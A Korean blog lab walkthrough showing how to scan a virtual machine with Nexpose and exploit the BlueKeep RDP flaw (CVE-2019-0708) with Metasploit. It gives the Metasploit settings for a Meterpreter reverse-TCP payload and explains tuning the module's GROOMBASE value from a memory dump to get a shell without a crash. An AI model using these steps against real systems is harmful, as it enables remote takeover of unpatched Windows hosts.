시스템/기초

nexpose와 metasploit을 이용한 시스템 해킹

강똥이 2020. 1. 8. 17:05

nexpose와 metasploit을 이용해 시스템 해킹을 실습해봅시다.

nexpose는 취약점을 자동으로 스캔하여 위험한 정도를 시각적으로 표현해줍니다. 유료이며 일정 시간동안 무료로 사용할 수 있습니다.

metasploit은 보안 취약점, 팀투 테스트 및 IDS 서명 개발 보조기구등으로 대상 시스템에 공격 코드를 실행하기 위한 도구입니다. 무료버전과 유료버전이 있습니다.

 

이번 실습은 (1)대상 시스템을 VM환경에서 실행하여 (2)nexpose로 취약점을 스캔한 후 나온 취약점을 (3)metasploit으로 공격할 것입니다.

 

(1)공격당할 시스템입니다.

이 시스템은 2013년 말 이후 실행한 기억이 없는 시스템입니다. 솔직히 왜있는지 모르겠어요.

 

 

(2)이제 취약점을 스캔해봅시다.

https://www.rapid7.com/products/nexpose/

이곳에서 설치를 진행합니다. 최소한의 정보 입력 후 무료로 일정시간동안 사용할 수 있어요.

단, 이 프로그램은 컴퓨터 사양이 높아야합니다. 최소 메모리8GB를 요구하고 있어요. 

쭉 설치하고 서비스 실행 후(자동으로 웹브라우저로 localhost:3780으로 접속합니다.) 기다리시면 설치할 때 설정한 계정으로 로그인하면 됩니다.

로그인에 성공하면 대략 위와같은 사이트를 볼 수 있을겁니다.

한글을 지원하니 영어를 보면 토나오시는 분들은 오른쪽 상단 id이름에서 설정에 들어가면 한글 언어 설정이 있습니다.

 

이제 어떻게 공격 대상을 스캔하는지 보여드리도록 하겠습니다.

1. 왼쪽 위에서부터 3번째 자산에 들어갑니다.

2. 오른쪽 상단의 사이트로 들어갑니다.

들어가면 사이트 생성 버튼이 있습니다. 그곳으로 들어갑니다.

 

3.  들어가면 아래와 같은 내용이 나오는데 우리가 입력할 것은 딱 2가지입니다.

스캔 이름과, 대상 시스템 IP

기타 다른 입력 내용들에 대한 내용은 이곳에서 다루지 않겠습니다.

위의 2가지를 입력하고 나서 저장후 스캔을 입력합니다.

 

* 이때 VM시스템의 network는 NAT로 세팅했습니다.

 

스캔이 완료되면 대상 시스템에 대한 정보와 나온 취약점의 정보를 볼 수 있습니다.

여러 취약점이 나왔는데, 이중 원격 코드를 실행할 수 있는 취약점을 이용할겁니다.

CVE-2019-0708 : RDP

 

(3)취약점을 확인했으니 이제 실제로 공격해보겠습니다.

metasploit을 이용하기 위해 실행 후 위에 나온 취약점을 공격해보도록 하겠습니다.

먼저 해당 cve코드가 db에 있는지 찾아보도록 하죠

흠 잘 있네요 그럼 사용해보도록 하죠

use 1

해당 공격을 위해 세팅할 내용은 아래와 같습니다.

set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.88.152
set target 5
set lhost 192.168.88.130

 

첫번째로 페이로드를 설정하여 원격 코드 실행 후 이쪽에 접속이 가능하도록 설정하였습니다. 타겟은 vm시스템이므로 이에 일치한 내용을 추가했습니다.

 

그럼 모든 준비가 끝났으니 exploit을 해봅시다.

흠.. 성공한거같긴한데 이쪽으로 shell이 붙지 않습니다. 뭔가 문제가 있는지 대상시스템을 보도록 하죠.

블루스크린이 떳군요... 사실 이 취약점은 블루스크린이 뜨면 해당 취약점에 취약하다고 할 수 있습니다.

왜 이렇게 뜨는지 대략적으로 해당 취약점을 파악해보도록 하죠

 

cve-2019-0708취약점은 원격코드가 실행 가능한 취약점으로 2019년 7월 당시 유명했던 취약점입니다. 이 취약점은 윈도우의 원격 데스크톱 실행을 허용하는 시스템에서 발생했습니다.

RDP 프로토콜은 연결 과정을 통해 클라이언트와 서버간에 연결이 됩니다.

이 과정에서 클라이언트는 서버에 명시적으로 정적 채널(Static Channel)을 요청할 수 있는데, 서버는 요청된 채널에 대하여 채널 번호를 할당합니다. 여기서 MS-T120은 RDP의 채널이 아니며 이것은 31번으로 할당하는 채널입니다. 이미 사용하고 있는 31번 채널에 2개의 객체가 할당하게 되고, disconnect요청이 가게 된다면 MS-T120채널에게 이미 비할당되었는데 또 비할당한다면서 메모리 오류를 내며 블루스크린이 뜹니다.

 

여기까지가 해당 취약점에 대한 공개된 내용입니다. 즉, 우리는 블루스크린이 뜨면 해당 취약점에 취약한 것이라고 할 수 있습니다.

 

하지만 블루스크린을 발생시키지 않고 쉘을 가져올 수 있습니다.

https://medium.com/@alexandrevvo/testing-bluekeep-cve-2019-0708-metasploit-module-on-windows-7-ef3f28217b7b

이 블로그의 내용을 참고했습니다.

할당되지 않은 메모리 주소를 직접 참조하도록 하면 블루스크린이 뜨지 않는 것으로 생각할 수 있습니다. 아무래도 이부분을 이용한 듯 싶습니다.

 

그럼 어떻게 비할당 영역으로 이동하느냐? metasploit에서 공격하는 코드를 살짝 변경할 필요가 있습니다.

우리는 CVE-2019-0708을 이용해 공격했습니다. metasploit에 해당 취약점을 공격할 수 있는 코드가 있기 때문에 우리는 공격을 할 수 있었습니다. 이 공격코드가 저장되어 있는곳으로 이동하여 GROOMBASE의 값을 비할당 영역의 메모리로 바꿔주면 됩니다.

 

대상 시스템은 VM시스템입니다. 우리는 VM의 스냅샷이라는 기능을 이용해 비할당 영역을 찾을 겁니다.

RDP서비스가 실행된 상태를 스냅샷으로 찍으면 VM폴더안에 vmem과 vmsn파일등이 생성됩니다. 이 2개의 파일을vmss2core-sb-8456865.exe 도구를 통해 메모리를 덤프하여 windbg로 비할당 영역의 메모리 주소를 찾을 수 있습니다.

 

기존의 시스템(2008)에서는 windbg에서 메모리 영역을 확인할 수 없어 다른 시스템을 이용했습니다. 같은 vm환경입니다.

 

vmss2core-sb-8456865.exe 프로그램 다운로드 경로

https://labs.vmware.com/flings/vmss2core

스냅샷을 찍은 후 vmss2core-sb-8456865.exe 프로그램을 이용하여 덤프파일을 만들겠습니다.

vmss2core-sb-8456865.exe -W "스냅샷파일1.vmsn" "스냅샷파일1.vmem"

끝나고 나면 memory.dmp파일이 생성되어 있습니다. 이 덤프파일을 windbg로 열어 비할당영역 메모리주소를 찾습니다.

fffffa800659b000

찾았습니다.

이제 metasploit의 공격코드가 있는곳으로 가서 해당 파일을 열어서 수정하겠습니다.

/usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019-0708_bluekeep_rce.rb

수정도 완료했으니 다시 같은 옵션으로 진행해보겠습니다.

 

한글이 깨지는건 한글 폰트를 설치하면 문제 없을겁니다.

shell접속에 성공했습니다.

 

이 취약점을 이용해 상용 서버, 또는 다른 시스템에 공격하면 안됩니다.